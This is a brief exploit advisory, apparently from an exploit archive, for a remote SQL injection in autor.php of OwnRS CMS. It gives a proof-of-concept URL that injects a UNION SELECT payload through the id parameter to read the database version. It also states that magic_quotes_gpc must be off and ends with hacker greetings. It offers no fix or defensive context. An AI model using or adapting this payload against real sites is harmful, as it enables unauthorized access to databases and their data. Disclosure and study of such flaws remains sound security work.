OwnRS CMS suffers from a remote SQL injection vulnerability in autor.php.
d01ac9797c085ceb24a292b8090328f2960e92399c298a607bffa109b3e3c157
#OwnRS CMS (autor.php) SQL Injection Vulnerability
#Author: nuclear
#download:
http://sourceforge.net/project/showfiles.php?group_id=230742
#vuln:
http://localhost/[path]/autor.php?id=' union select 1,2,3,4,5,@@version,7,8,9 '
#required:
magic_quotes_gpc == off;
#greetz Mi4night, cAs, zYzTeM, THE_MAN, Pepe, I-O-W-A,Digitalfortress, DiGitalX, sys32-hack, sys32r, Whitestar